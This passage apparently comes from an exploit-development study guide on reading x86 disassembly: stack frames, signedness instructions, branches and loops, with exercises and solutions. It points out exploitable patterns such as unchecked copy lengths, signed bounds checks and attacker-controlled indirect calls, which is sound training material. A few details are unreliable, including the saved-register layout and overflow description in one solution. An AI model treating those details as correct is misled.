- Ignoring whether ret n has an immediate operand.

2.6.1 ESP-relative frames (optimized builds)

In optimized or release builds, MSVC may omit the EBP frame pointer entirely. Instead, all local variables and arguments are accessed relative to ESP. This is called Frame Pointer Omission (FPO).

```

sub_401200:
  sub     esp, 20h
  mov     eax, [esp+24h]      ; first argument (no saved EBP)
  lea     ecx, [esp]         ; local buffer at ESP
  push    20h
  push    eax

```

```
push    ecx
call    _memcpy
add     esp, 0Ch
add     esp, 20h
retn
```

In FPO frames, every push changes the meaning of all $[esp+X]$ references that follow it. The argument at $[esp+24h]$ is $[esp + 0x20 \text{ (local alloc)} + 0x04 \text{ (return address)}]$. After the three pushes for `memcpy`, the same argument would be at $[esp+30h]$.

IDA usually tracks ESP adjustments and labels arguments correctly, but in raw disassembly you must count every push and sub to know what each $[esp+X]$ references. This is one reason EBP-based frames are easier to reverse: EBP is stable throughout the function.

2.7 Exercises

2.7.1 Exercise 1

```
sub_401160:
push    ebp
mov     ebp, esp
sub     esp, 20h
lea     eax, [ebp-20h]
push    eax
push    [ebp+8]
call    sub_402000
add     esp, 8
mov     esp, ebp
pop     ebp
retn
```

Questions:

- How many explicit stack arguments does this function use?
- Which stack object is passed by address?
- Who cleans up the call to `sub_402000`?
- What can you infer about the called function's parameters?

2.7.2 Exercise 2

```
sub_4011C0:
push    ebp
mov     ebp, esp
sub     esp, 10h
push    esi
push    edi
mov     esi, [ebp+8]
```

```
mov     edi, [ebp+0Ch]
mov     ecx, [ebp+10h]
lea     eax, [ebp-10h]
push    ecx
push    esi
push    eax
call    _memcpy
add     esp, 0Ch
lea     eax, [ebp-10h]
push    [ebp+10h]
push    eax
push    edi
call    _memcpy
add     esp, 0Ch
pop     edi
pop     esi
mov     esp, ebp
pop     ebp
retn
```

Questions:

- How many arguments does this function take?
- What does the function do with the local buffer?
- Draw the frame layout showing arguments, locals, and saved registers.
- What is the security risk?

2.7.3 Exercise 3

```
sub_4011E0:
sub     esp, 40h
mov     eax, [esp+44h]
push    eax
call    sub_403000
add     esp, 4
test    eax, eax
jz      short fail
mov     [esp+3Ch], eax
lea     ecx, [esp]
push    40h
push    ecx
push    eax
call    sub_403100
add     esp, 0Ch
xor     eax, eax
add     esp, 40h
retn
fail:
```

```
mov     eax, 0FFFFFFFh
add     esp, 40h
retn
```

Questions:

- Is this an EBP frame or an ESP-relative frame?
- Where is the first argument accessed?
- After the first call returns and the result is stored at `[esp+3Ch]`, what stack slot is that relative to the function's frame?

2.8 Challenge problems

2.8.1 Challenge 1

```
sub_4011A0:
push    ebp
mov     ebp, esp
push    edi
mov     edi, [ebp+8]
push    [ebp+0Ch]
call    dword ptr [edi+10h]
pop     edi
pop     ebp
retn    8
```

Explain the calling convention of `sub_4011A0` and the nature of the call target.

2.8.2 Challenge 2

```
sub_401220:
push    ebp
mov     ebp, esp
sub     esp, 8
push    esi
mov     esi, [ebp+8]
lea     eax, [ebp-8]
push    eax
push    esi
call    sub_405000
add     esp, 8
cmp     dword ptr [ebp-4], 0
jz      short done
push    [ebp-8]
push    esi
call    sub_405100
```

```

    add     esp, 8
done:
    pop     esi
    mov     esp, ebp
    pop     ebp
    retn

```

How many locals does this function use? What is the relationship between `[ebp-8]` and `[ebp-4]`? What is the control flow pattern?

2.9 Solutions with reasoning

2.9.1 Exercise 1 solution

The function uses one explicit incoming argument, `[ebp+8]`. It creates a 32-byte local object and passes its address to `sub_402000`, along with the incoming argument. `add esp, 8` means this function cleans the two outgoing arguments after the call, so the target is being called as cdecl or through a cdecl-compatible prototype.

Plausible pseudocode:

```

void wrapper(void *arg) {
    unsigned char local[32];
    sub_402000(arg, local);
}

```

2.9.2 Exercise 2 solution

Three arguments: source pointer (`[ebp+8]`), destination pointer (`[ebp+0Ch]`), and count (`[ebp+10h]`). The function copies count bytes from source into a 16-byte local buffer, then copies from the local buffer into the destination.

Frame layout:

```

[ebp+10h]  arg2: count
[ebp+0Ch]  arg1: destination pointer
[ebp+08h]  arg0: source pointer
[ebp+04h]  return address
[ebp]      saved EBP
[ebp-04h]  (local buffer bytes 13-16)
[ebp-10h]  local buffer start (16 bytes)
[ebp-14h]  saved EDI (from push edi)
[ebp-18h]  saved ESI (from push esi)

```

Security risk: the local buffer is only 16 bytes (`sub esp, 10h`), but the count argument is used directly without a bounds check. If count exceeds 16, the first `memcpy` overflows the local buffer, corrupting saved ESI, saved EDI, saved EBP, and the return address.

2.9.3 Exercise 3 solution

This is an ESP-relative frame (no `push ebp / mov ebp, esp`). The first argument is at `[esp+44h]` – that is `esp + 0x40` (local allocation) + `0x04` (return address). After `sub_403000` returns, the result is stored at `[esp+3Ch]`, which is the top 4 bytes of the 64-byte local allocation – slot `[frame_base + 0x3C]`, or effectively `local_var_4` if this were an EBP frame. The function allocates a resource, stores it as a local, then passes it along with a local buffer and a size to a second function.

2.9.4 Challenge 1 solution

`retn 8` means `sub_4011A0` cleans two caller-supplied arguments, consistent with `stdcall` or `thiscall`-like external usage. The call target is loaded from `[edi+10h]`, where EDI came from the first argument. That is an indirect call through a structure field or vtable-like slot. Because this function pushes one outgoing argument before the indirect call and does not execute `add esp, 4` afterward, the indirect callee must clean that argument, for example by returning with `retn 4`. If it were `cdecl, pop edi` would consume the stale argument instead of the saved EDI and the frame would unwind incorrectly. The programmer likely wrote a callback or method dispatch. An exploit developer asks whether `[edi+10h]` can be controlled.

2.9.5 Challenge 2 solution

The function allocates 8 bytes of local storage, which represents two `dword` locals: `[ebp-8]` and `[ebp-4]`. It passes the address of `[ebp-8]` (the base of the 8-byte block) to `sub_405000` as an output parameter. After that call, `[ebp-4]` is checked as a boolean flag. If nonzero, `[ebp-8]` is used as an argument to a second call.

The two locals form a pair – likely a result structure where `[ebp-4]` is a status/flag and `[ebp-8]` is a value (pointer, handle, or count). The control flow pattern is: “query something, then conditionally act on the result.”

2.10 Key takeaways

- Stack frames exist because the compiler needs workspace, not because the programmer wrote stack operations. Separate frame setup/teardown from programmer semantics.
- Arguments live above EBP (`[ebp+8]`, `[ebp+0Ch]`, ...) and locals live below EBP (`[ebp-4]`, `[ebp-20h]`, ...). The gap between `sub esp, N` and the actual variables used may include padding or alignment.
- ESP-relative frames (FPO) are common in optimized builds. Every push changes the meaning of all `[esp+X]` references – track ESP adjustments carefully.
- `retn N` vs `retn` reveals calling convention: `stdcall`/`thiscall` cleans `N` bytes of arguments, `cdecl` uses bare `retn` and the caller cleans up with `add esp, N`.
- An indirect call through a structure field or vtable slot (`call [reg+offset]`) means an attacker who controls the object pointer controls the call target.

2.11 See also

- [x86-osed-assembly-reference/07-stack-fundamentals.md](#) – stack mechanics, push/pop, ESP behavior
 - [x86-osed-assembly-reference/08-function-stack-frames.md](#) – EBP frames, FPO, local variable layout
 - [x86-osed-assembly-reference/09-calling-conventions-and-abi.md](#) – cdecl, stdcall, thiscall, fastcall details
 - [osed-reversing-guide/03-stack-and-frames.md](#) – practical frame analysis
 - [DRILLS/function_analysis.md](#) – function analysis drill template
-

Chapter 3

3. LEA, MOVSX, MOVZX, TEST, CMP, and SETcc

3.1 Learning objectives

- Explain why `lea` often means arithmetic rather than pointer dereference.
- Use `movsx` and `movzx` to infer signedness and source width.
- Read `test`, `cmp`, and `setcc` as boolean and range questions.
- Avoid turning flag-setting instructions into fake source statements.

3.2 Concept discussion

These instructions are semantic clues. They reveal the compiler's type and range assumptions:

- `movzx eax, byte ptr [ecx]`: source is an unsigned byte promoted to int.
- `movsx eax, word ptr [ecx]`: source is a signed short promoted to int.
- `test eax, eax`: check zero, null, or false.
- `cmp eax, 80h + ja`: unsigned greater-than.
- `cmp eax, 80h + jg`: signed greater-than.
- `setnz al`: materialize a boolean result into a byte.

The compiler emits these because C does not compare abstract “values”; it compares values of a width and signedness after promotion.

3.3 Common compiler patterns

- `lea eax, [ecx+ecx*4]`: multiply by 5.
- `lea eax, [edx+eax*4+8]`: array element address or structure-member address.
- `movzx eax, al`: clear high bits after byte arithmetic.
- `test reg, reg; jz`: null/zero check.
- `cmp reg, imm; setcc al; movzx eax, al`: return boolean as int.

3.4 Fully annotated example

```
sub_401220:
    mov     ecx, [esp+4]
    movsx   eax, word ptr [ecx+4]
    lea     edx, [eax+eax*2]
    cmp     edx, 30h
    setle   al
    movzx   eax, al
    retn
```

Annotated:

```
mov  ecx, [esp+4]
; Argument, likely pointer because it is dereferenced next.

movsx eax, word ptr [ecx+4]
; Read a 16-bit signed field at offset +4 and promote it to 32 bits.

lea  edx, [eax+eax*2]
; Compute value * 3. No memory read.

cmp  edx, 30h
setle al
; Signed comparison: is field*3 <= 48?

movzx eax, al
; Return boolean as 0 or 1.
```

The CPU is answering: “Does the signed 16-bit field at offset 4, multiplied by three, fit under a signed threshold?”

The programmer likely wrote a small validation predicate. The compiler assumes signed behavior matters because it chose `movsx` and signed `setle`.

3.5 Reverse engineering thought process

When you see `lea`, ask: “Is the result later dereferenced?” If no, it may just be arithmetic. When you see `movsx/movzx`, record source width and signedness. When you see `setcc`, identify which compare produced the flags and whether the condition is signed or unsigned.

3.6 Common mistakes

- Saying `lea` always means “load pointer.”
- Losing signedness by rewriting everything as `int`.
- Treating `setcc` as a branch; it creates data, not control flow.
- Ignoring high-register cleanup before boolean returns.

3.6.1 Signedness cheat sheet

Recognizing signedness from the assembly is one of the most important skills for exploit analysis, because a signed/unsigned confusion in a length check is a common vulnerability class.

Instruction	Signedness	Meaning
-----	-----	-----
movzx	unsigned	zero-extend: source is unsigned
movsx	signed	sign-extend: source is signed
ja / jb	unsigned	jump if above / below (unsigned compare)
jg / jl	signed	jump if greater / less (signed compare)
jae / jbe	unsigned	above-or-equal / below-or-equal
jge / jle	signed	greater-or-equal / less-or-equal
seta / setb	unsigned	set byte if unsigned above / below
setg / setl	signed	set byte if signed greater / less
imul	signed	signed multiply
mul	unsigned	unsigned multiply
cdq	signed	sign-extend EAX into EDX:EAX for signed division
sar	signed	arithmetic right shift (preserves sign bit)
shr	unsigned	logical right shift (fills with zeros)

When the same comparison appears with `ja` in one function and `jg` in another, the programmer changed the signedness of the check. In exploit analysis, look for mismatches: a signed comparison on an attacker-supplied length may allow negative values to bypass a bounds check.

3.6.2 CDQ, ROL, and ROR

Three instructions that appear frequently in exploit-relevant contexts:

CDQ (Convert Doubleword to Quadword): sign-extends EAX into EDX:EAX. If EAX is positive, EDX becomes 0. If EAX is negative, EDX becomes 0xFFFFFFFF. The compiler emits CDQ before `idiv` to set up the 64-bit dividend for signed division. If you see `cdq; idiv ecx`, the division is signed.

ROL/ROR (Rotate Left/Right): circular bit rotation. Unlike shifts, bits that fall off one end wrap to the other. These appear in:

- Hash functions (the ROR-13-ADD hash in shellcode API resolution is a key OSED pattern – see chapter 14).
- Obfuscation and encoding loops.
- Certain multiplication replacements.

```
ror eax, 0Dh    ; rotate right 13 bits -- shellcode hash accumulator
rol eax, 8      ; rotate left 8 -- byte swapping or mixing
```

3.7 Exercises

3.7.1 Exercise 1

```
sub_401250:
    mov     eax, [esp+4]
    movzx   ecx, byte ptr [eax+8]
    lea     edx, [ecx+ecx*4]
    cmp     edx, 64h
    seta    al
    movzx   eax, al
    retn
```

Questions:

- What is the width and signedness of the field?
- What arithmetic is being performed?
- What boolean is returned?

3.7.2 Exercise 2

```
sub_401260:
    push    ebp
    mov     ebp, esp
    mov     eax, [ebp+8]
    movsx   ecx, word ptr [eax+2]
    test    ecx, ecx
    jl      short negative
    lea     edx, [ecx+ecx]
    jmp     short store
negative:
    neg     ecx
    lea     edx, [ecx+ecx]
store:
    mov     [eax+4], edx
    pop     ebp
    retn
```

Questions:

- What is the source field's width and signedness?
- What does the function compute and store at [eax+4]?
- Why does the signed check matter here?

3.7.3 Exercise 3

```
sub_4012A0:
    mov     ecx, [esp+4]
```

```
mov     edx, [esp+8]
lea     eax, [ecx+edx]
lea     eax, [eax+eax*2]
shl     eax, 2
retn
```

Questions:

- There are no memory accesses after loading the arguments. What do the LEA and SHL instructions compute?
- Express the return value as a formula in terms of the two arguments.

3.8 Challenge problems

3.8.1 Challenge 1

```
sub_401280:
    mov     ecx, [esp+4]
    movsx   eax, byte ptr [ecx+1]
    test    eax, eax
    jns     short ok
    neg     eax
ok:
    cmp     eax, 7Fh
    setbe   al
    movzx   eax, al
    retn
```

Recover the programmer-level question without writing a line-by-line translation.

3.8.2 Challenge 2

```
sub_4012C0:
    mov     eax, [esp+4]
    movzx   ecx, byte ptr [eax]
    movsx   edx, byte ptr [eax+1]
    cmp     ecx, 80h
    jae     short big
    add     ecx, edx
    test    ecx, ecx
    setg    al
    movzx   eax, al
    retn
big:
    sub     ecx, edx
    cmp     ecx, 100h
```

```
setb    al
movzx   eax, al
retn
```

Two bytes from the same structure control different branches. What question is each path answering? What exploit-relevant signedness issue could arise if an analyst confused `movzx` and `movsx` for these two bytes?

3.9 Solutions with reasoning

3.9.1 Exercise 1 solution

The field at offset +8 is an unsigned byte. It is multiplied by 5 using `LEA`. The function returns whether `field * 5 > 100` using an unsigned comparison (`seta`).

Plausible pseudocode:

```
int too_large(const unsigned char *p) {
    return p[8] * 5u > 100u;
}
```

3.9.2 Exercise 2 solution

The source field at `[eax+2]` is a signed 16-bit value (word, sign-extended by `movsx`). The function computes twice the absolute value of this field and stores it at `[eax+4]`. On the negative path, `neg ecx` makes it positive before doubling. The signed check matters because `lea [ecx+ecx]` on a negative value would produce a negative doubled result – the programmer wants a positive magnitude.

Plausible pseudocode:

```
void compute_magnitude(struct S *s) {
    short val = s->field_2;
    s->field_4 = abs(val) * 2;
}
```

3.9.3 Exercise 3 solution

No memory is accessed after loading the two integer arguments. `lea eax, [ecx+edx]` computes `arg0 + arg1`. `lea eax, [eax+eax*2]` computes that sum times 3. `shl eax, 2` multiplies by 4. The return value is $(arg0 + arg1) * 12$.

3.9.4 Challenge 1 solution

The function reads a signed byte at offset +1, computes its absolute value, and returns whether that absolute value is ≤ 127 . The interesting semantic clue is not `neg`; it is the pair `movsx` and `jns`, which shows the original byte was signed. The programmer likely intended an absolute-value

range check. An exploit developer asks about the edge case -128 , because negating the most negative signed byte has representation pitfalls even though this version promoted to 32-bit first.

3.9.5 Challenge 2 solution

Byte `[eax]` is loaded unsigned (`movzx`), so its range is 0-255. Byte `[eax+1]` is loaded signed (`movsx`), so its range is -128 to $+127$.

The unsigned byte is compared against `0x80`. If below `0x80` (small path): the function adds the signed byte and returns whether the sum is positive (`setg`). If $\geq 0x80$ (big path): the function subtracts the signed byte and returns whether the result is below `0x100` (`setb`).

If an analyst reversed the signedness – treating byte 0 as signed and byte 1 as unsigned – the “small” path’s addition would be wrong (a value of `0xFF` sign-extended to -1 instead of zero-extended to 255 changes the sum entirely), and the security check on the “big” path could be defeated by negative values wrapping around.

3.10 Key takeaways

- LEA is arithmetic, not a memory read. When the result is not later dereferenced, LEA is computing a value (multiplication, addition, or address calculation).
- `movsx` vs `movzx` reveals whether the compiler treats a field as signed or unsigned. This distinction determines which comparison instructions follow (`jg/jl` vs `ja/jb`) and directly affects exploit feasibility.
- `setcc` materializes a boolean from flags. Read it as data flow (producing a 0 or 1 value), not as control flow (it does not branch).
- `CDQ` before `idiv` signals signed division. `ROL/ROR` appear in hash functions (especially the `ROR-13-ADD` pattern in shellcode) and obfuscation.
- Signed/unsigned confusion in length or index checks is a common vulnerability class. A signed comparison allows negative values to bypass bounds checks.

3.11 See also

- [x86-osd-assembly-reference/05-eflags-and-conditional-execution.md](#) – detailed flag behavior for every condition code
 - [x86-osd-assembly-reference/06-core-instruction-reference.md](#) – LEA, MOV, MOVSX, MOVZX, CDQ, ROL, ROR instruction semantics
 - [x86-osd-assembly-reference/12-arithmetic-used-in-exploit-development.md](#) – arithmetic tricks used in shellcode and exploit payloads
 - [osd-reversing-guide/02-instruction-semantics.md](#) – reading instructions as semantic evidence
 - [DRILLS/function_analysis.md](#) – practice applying signedness analysis
-

Chapter 4

4. Branches, Conditions, and Nested Decisions

4.1 Learning objectives

- Recover if, if/else, guard clauses, and nested branches.
- Determine what condition controls each path.
- Preserve signedness while reconstructing decisions.
- Identify validation gates and trust boundaries.

4.2 Concept discussion

Branches are questions. The jump mnemonic tells you how the flags are interpreted. `ja` and `jb` are unsigned. `jg` and `jl` are signed. `jz` tests equality/zero. `jnz` tests inequality/nonzero.

A compiler often emits guard clauses as early jumps to failure. This means the source may have looked simple even when the assembly appears branch-heavy:

```
if (!p) return -1;
if (len > max) return -1;
if (!authorized) return -1;
...
return 0;
```

The reverse engineer should read these as successive requirements, not as unrelated fragments.

4.3 Common compiler patterns

- `test p,p; jz fail:` null guard.
- `cmp len,max; ja fail:` unsigned length guard.
- `cmp status,0; jl fail:` signed error check.
- `cmp type,n; jne next_case:` decision chain.
- Common failure block with `mov eax,-1:` validation helper.

4.4 Fully annotated example

```

sub_401300:
    push    ebp
    mov     ebp, esp
    mov     eax, [ebp+8]
    test    eax, eax
    jz      fail
    mov     ecx, [ebp+0Ch]
    cmp     ecx, 100h
    ja      fail
    cmp     byte ptr [eax], 2
    jnz     fail
    xor     eax, eax
    pop     ebp
    retn

fail:
    mov     eax, 0FFFFFFFFh
    pop     ebp
    retn

```

Annotated:

```

test eax, eax / jz fail
; Requirement 1: pointer argument must be non-null.

cmp ecx, 100h / ja fail
; Requirement 2: unsigned length must be <= 256.

cmp byte ptr [eax], 2 / jnz fail
; Requirement 3: first byte of pointed-to buffer must equal type 2.

```

The CPU is answering three guard questions. The programmer likely wrote a validator for a record. The compiler assumes `len` is unsigned or size-like because it used `ja`.

4.5 Reverse engineering thought process

Rewrite branches into path requirements:

```

success path requires:
    p != NULL
    len <= 0x100 unsigned
    p[0] == 2
failure path:
    any requirement fails

```

This is more useful than immediately writing C because it exposes which values become trusted after each check.

4.6 Common mistakes

- Inverting a condition incorrectly when following taken vs fall-through edges.
- Losing unsigned/signed distinction.
- Treating each guard as independent after a prior guard has constrained a value.
- Missing that a dereference after a guard depends on the guard.

4.6.1 CMOVcc – conditional moves

MSVC and optimizing compilers sometimes replace short if/else branches with conditional move instructions:

```
cmp     eax, ecx
cmovb   eax, ecx      ; if eax < ecx (unsigned), eax = ecx
```

CMOVcc executes the move only if the condition flags match. It avoids a branch prediction penalty. The semantic meaning is the same as a branch, but the control flow is linear – there is no jump target to follow.

Common CMOVcc patterns:

```
cmovz / cmove      Move if zero/equal
cmovnz / cmovne    Move if nonzero/not equal
cmovb / cmovc      Move if below (unsigned) / carry
cmovae / cmovnc    Move if above-or-equal (unsigned) / no carry
cmovg              Move if greater (signed)
cmovl              Move if less (signed)
```

When you see CMOVcc, reconstruct the if/else by reading the condition and the two possible values. The instruction that sets flags (CMP or TEST) is always immediately before or nearby.

4.7 Exercises

4.7.1 Exercise 1

```
sub_401340:
    mov     eax, [esp+4]
    test    eax, eax
    jz      deny
    cmp     dword ptr [eax+0Ch], 0
    jle     deny
    cmp     dword ptr [eax+10h], 400h
    ja      deny
    mov     eax, 1
    retn
deny:
    xor     eax, eax
    retn
```

Questions:

- Which comparisons are signed and unsigned?
- What requirements must hold for success?
- Which fields are probably length/count-like?

4.7.2 Exercise 2

```
sub_4013B0:
    push    ebp
    mov     ebp, esp
    mov     eax, [ebp+8]
    mov     ecx, [ebp+0Ch]
    cmp     eax, ecx
    jae     short use_ecx
    mov     edx, ecx
    sub     edx, eax
    cmp     edx, 10h
    ja      short too_far
    mov     eax, edx
    pop     ebp
    retn

use_ecx:
    mov     eax, ecx
    pop     ebp
    retn

too_far:
    xor     eax, eax
    pop     ebp
    retn
```

Questions:

- How many distinct exit paths are there?
- What does each path return?
- What validation pattern does this implement?

4.7.3 Exercise 3

```
sub_4013D0:
    mov     ecx, [esp+4]
    test    ecx, ecx
    jz      short ret_neg
    mov     eax, [ecx+8]
    test    eax, eax
    jz      short ret_neg
    cmp     dword ptr [eax], 0DEADh
    jnz     short ret_neg
```

```
    mov     eax, [eax+4]
    retn
ret_neg:
    mov     eax, 0FFFFFFFFh
    retn
```

Questions:

- How many levels of pointer indirection are validated?
- What is the “magic” check protecting?
- What does the function return on the success path?

4.8 Challenge problems

4.8.1 Challenge 1

```
sub_401380:
    mov     eax, [esp+4]
    cmp     eax, 3
    ja      default
    cmp     eax, 1
    jz      one
    cmp     eax, 2
    jz      two
    xor     eax, eax
    retn
one:
    mov     eax, 10h
    retn
two:
    mov     eax, 20h
    retn
default:
    mov     eax, 0FFFFFFFFh
    retn
```

Explain why the first `cmp eax,3; ja default` matters even though only cases 1 and 2 have special code.

4.8.2 Challenge 2

```
sub_401400:
    push    ebp
    mov     ebp, esp
    mov     eax, [ebp+8]
    mov     ecx, [ebp+0Ch]
```

```
cmp     ecx, eax
cmovb   eax, ecx
mov     ecx, [ebp+10h]
cmp     ecx, eax
cmovb   eax, ecx
pop     ebp
retn
```

What does this function compute? Rewrite as C. Why might the compiler prefer CMOVcc over branches here?

4.9 Solutions with reasoning

4.9.1 Exercise 1 solution

Success requires a non-null pointer, a signed positive field at `+0x0C`, and an unsigned field at `+0x10` no greater than `0x400`. The second field is probably size-like because of the unsigned comparison.

Plausible pseudocode:

```
int allowed(const struct X *x) {
    if (!x) return 0;
    if (x->signed_count <= 0) return 0;
    if (x->length > 0x400u) return 0;
    return 1;
}
```

4.9.2 Exercise 2 solution

Three exit paths: 1. If `arg0 >= arg1` (unsigned): return `arg1`. 2. If `arg1 - arg0 > 0x10`: return 0. 3. Otherwise: return `arg1 - arg0`.

The function computes a bounded unsigned difference. If the first argument is already at or past the second, it returns the second value (a floor). If the gap is too large (`> 16`), it rejects. Otherwise it returns the gap. This looks like a clamped distance calculation, possibly for a sliding window or offset within a buffer.

4.9.3 Exercise 3 solution

Two levels of pointer indirection: first `[esp+4]` is dereferenced to get a pointer at `[ecx+8]`, then that pointer is dereferenced to read a dword tag at `[eax]`. The function validates both pointers (null checks) and then verifies a magic value `0xDEAD` at the base of the second-level object. On the success path, it returns `[eax+4]` – a field from the magic-tagged object.

This is a common pattern for following a pointer chain in a runtime structure (e.g., `object -> subobject -> tagged data`) with defensive checks at each level.

4.9.4 Challenge 1 solution

The first comparison limits the accepted domain to 0..3 unsigned. It prevents large unsigned values from falling into the later chain. Semantically, the programmer is bounding an opcode or enum before handling selected cases. Values 0 and 3 are both unhandled in-range values that fall through to the zero return. An exploit developer asks whether those mappings are intentional default behavior or accidental gaps in the dispatch logic.

4.9.5 Challenge 2 solution

The function computes the minimum of three unsigned values. `cmovb` (conditional move if below, unsigned) replaces EAX with ECX only if ECX is smaller. After two comparisons, EAX holds the smallest of the three arguments.

```
unsigned min3(unsigned a, unsigned b, unsigned c) {  
    if (b < a) a = b;  
    if (c < a) a = c;  
    return a;  
}
```

The compiler prefers `CMOVcc` because the branches are short, unpredictable (the smallest value could be any of the three), and a branch misprediction penalty would be larger than the unconditional data dependency of `CMOVcc`. For small if/else bodies with no side effects, `CMOVcc` avoids the branch predictor entirely.

4.10 Key takeaways

- Read branches as path requirements, not as isolated jumps. “Success requires `p != NULL AND len <= max AND type == 2`” is more useful than three separate jump annotations.
- Signed vs. unsigned conditions (`jg/jl` vs `ja/jb`) reveal the programmer’s type assumptions. Mismatches between signed checks and unsigned data are a vulnerability class.
- Guard clauses (early jumps to failure) are the most common pattern in validation code. Identify the gates, then identify what becomes trusted after each gate.
- `CMOVcc` replaces short branches in optimized code. Read it as a conditional assignment: “if condition, `dest = source`.”
- Nested pointer validation (null check -> dereference -> null check -> dereference) is common in object-oriented code. Each level adds a trust assumption that an exploit developer must verify.

4.11 See also

- [x86-osd-assembly-reference/05-eflags-and-conditional-execution.md](#) – comprehensive coverage of all condition codes
- [x86-osd-assembly-reference/10-branches-and-control-flow.md](#) – branch patterns, if/else lowering, loop structures

- [osed-reversing-guide/04-branching-and-conditions.md](#) – branch analysis methodology
 - [DRILLS/function_analysis.md](#) – practice recovering guard chains
-

Chapter 5

5. Loops and Repeated Work

5.1 Learning objectives

- Identify loop header, body, update, and exit condition.
- Distinguish counted loops from sentinel loops.
- Recover induction variables and loop invariants.
- Recognize common scan/copy/compare patterns.

5.2 Concept discussion

Loops answer repeated questions. A counted loop asks, “Have I processed N elements?” A sentinel loop asks, “Have I reached the marker?” A traversal asks, “Is there another node/record?”

The compiler may place the condition at the top, bottom, or split across blocks. Optimized loops may not look like source loops. Focus on:

- Which value changes each iteration?
- Which memory address changes?
- Which condition exits?
- What remains true throughout the loop?

5.3 Common compiler patterns

- `xor ecx,ecx; ... inc ecx; cmp ecx,len; jb loop`: counted loop.
- `mov al,[ecx]; test al,al; jz done; inc ecx`: string scan.
- `rep movsb`: fixed-count byte copy.
- `repne scasb`: sentinel scan, often `strlen`-like.
- Pointer bumping: `add esi,4` instead of index arithmetic.

5.4 Fully annotated example

```

sub_401400:
    mov     edx, [esp+4]
    xor     eax, eax
loop_top:
    cmp     eax, [esp+8]
    jae     done
    cmp     byte ptr [edx+eax], 0
    jz      done
    inc     eax
    jmp     short loop_top
done:
    retn

```

Annotated:

```

mov     edx, [esp+4]
; Buffer pointer.

xor     eax, eax
; Index/count starts at zero.

cmp     eax, [esp+8] / jae done
; Unsigned bound check: stop when index >= limit.

cmp     byte ptr [edx+eax], 0 / jz done
; Sentinel check: stop on NUL.

inc     eax
; One byte consumed.

```

The CPU is answering: “How many bytes until either the maximum length is reached or a zero byte appears?”

The programmer wrote bounded string scanning. The compiler preserves two assumptions: the limit is unsigned, and the buffer is readable up to either the terminator or the limit.

5.5 Reverse engineering thought process

Classify the loop:

```

induction variable: eax
base pointer: edx
access pattern: byte [edx+eax]
upper bound: [esp+8]
sentinel: 0
return: number of bytes scanned

```

Then derive intent: bounded length calculation, not generic looping.

5.6 Common mistakes

- Calling every byte loop `strlen`; this one has a maximum bound.
- Missing that `EAX` is both index and return value.
- Treating `[esp+8]` as signed because it “looks like an int.”
- Ignoring the order of checks. Here, the bound is checked before dereference.

5.6.1 REP prefix patterns

The `rep` prefix family turns single-byte or single-word instructions into loops controlled by `ECX`. These are common in compiler-generated code for memory operations:

```
rep movsb    Copy ECX bytes from [ESI] to [EDI], advancing both
rep movsd    Copy ECX dwords from [ESI] to [EDI] (4x faster for aligned
↳ data)
rep stosb    Fill ECX bytes at [EDI] with AL
rep stosd    Fill ECX dwords at [EDI] with EAX
repne scasb  Scan [EDI] for AL, decrementing ECX, until found or ECX=0
repe cmpsb   Compare [ESI] vs [EDI] byte-by-byte while equal, up to ECX
↳ bytes
```

For exploit analysis, the critical question for any `rep movs` is: does `ECX` (the count) exceed the destination capacity? The `rep` prefix blindly copies for the specified count. If `ECX` comes from attacker-controlled input, this is a classic overflow vector.

5.7 Exercises

5.7.1 Exercise 1

```
sub_401450:
    mov     esi, [esp+4]
    mov     ecx, [esp+8]
    xor     eax, eax
again:
    test    ecx, ecx
    jz      done
    add     eax, [esi]
    add     esi, 4
    dec     ecx
    jmp     short again
done:
    retn
```

Questions:

- What is the element size?
- Which value is the induction mechanism?
- What does the function return?

5.7.2 Exercise 2

```
sub_4014A0:
    push    edi
    mov     edi, [esp+8]
    mov     ecx, [esp+0Ch]
    xor     eax, eax
scan:
    test    ecx, ecx
    jz      not_found
    cmp     byte ptr [edi], 0Ah
    jz      found
    inc     edi
    dec     ecx
    jmp     short scan
found:
    mov     eax, edi
not_found:
    pop     edi
    retn
```

Questions:

- What byte value is this loop searching for?
- What does the function return on success vs. failure?
- Is this a counted loop, a sentinel loop, or a bounded sentinel?
- How would you classify this function? (memchr-like, strchr-like, etc.)

5.7.3 Exercise 3

```
sub_4014D0:
    push    esi
    push    edi
    mov     esi, [esp+0Ch]
    mov     edi, [esp+10h]
    mov     ecx, [esp+14h]
    xor     eax, eax
loop_top:
    test    ecx, ecx
    jz      done
    movzx   edx, byte ptr [esi]
    xor     eax, edx
    shl     eax, 1
```

```
    inc     esi
    dec     ecx
    jmp     short loop_top
done:
    pop     edi
    pop     esi
    retn
```

Questions:

- What does the XOR/SHL sequence in the loop body compute?
- Is this a copy, a scan, a hash, or something else?
- What is EDI used for? (Trick question.)

5.8 Challenge problems

5.8.1 Challenge 1

```
sub_401490:
    xor     eax, eax
    or      ecx, 0FFFFFFFFh
    repne   scasb
    not     ecx
    dec     ecx
    mov     eax, ecx
    retn
```

Assume EDI points to the input string on entry because the caller set it before a tail call. This is common in inlined or tail-called helpers where the compiler leaves EDI set from a prior operation. Recover the pattern and explain the hidden assumption.

5.8.2 Challenge 2

```
sub_401500:
    push    ebp
    mov     ebp, esp
    push    esi
    mov     esi, [ebp+8]
    mov     ecx, [ebp+0Ch]
    test    ecx, ecx
    jz      short done
    mov     edx, ecx
    shr     ecx, 2
    lea     edi, [esi]
    xor     eax, eax
    rep     stosd
```

```

    mov     ecx, edx
    and     ecx, 3
    rep     stosb
done:
    pop     esi
    pop     ebp
    retn

```

This function zeros a buffer. Explain why it uses both `rep stosd` and `rep stosb`. What is the relationship between the two counts?

5.9 Solutions with reasoning

5.9.1 Exercise 1 solution

The function processes dword elements because it reads `[esi]` and advances by four. ECX is a countdown. EAX accumulates a sum. The function returns the sum of count 32-bit integers from the array pointer.

Plausible pseudocode:

```

unsigned sum(const unsigned *p, unsigned count) {
    unsigned total = 0;
    while (count--) total += *p++;
    return total;
}

```

5.9.2 Exercise 2 solution

The loop searches for byte `0x0A` (newline / line feed). On success, it returns the pointer to the found byte (EDI). On failure (ECX reaches zero without finding `0x0A`), it returns NULL (0). This is a bounded sentinel loop – it has both a count bound (ECX) and a sentinel value (`0x0A`). This is a `memchr`-like function searching for a newline character.

Plausible pseudocode:

```

char *find_newline(const char *buf, unsigned len) {
    while (len--) {
        if (*buf == '\n') return buf;
        buf++;
    }
    return NULL;
}

```

5.9.3 Exercise 3 solution

The loop XORs each byte of the source buffer into an accumulator, then shifts the accumulator left by 1 bit. This is a simple rolling hash or checksum – each byte is mixed in and the result is

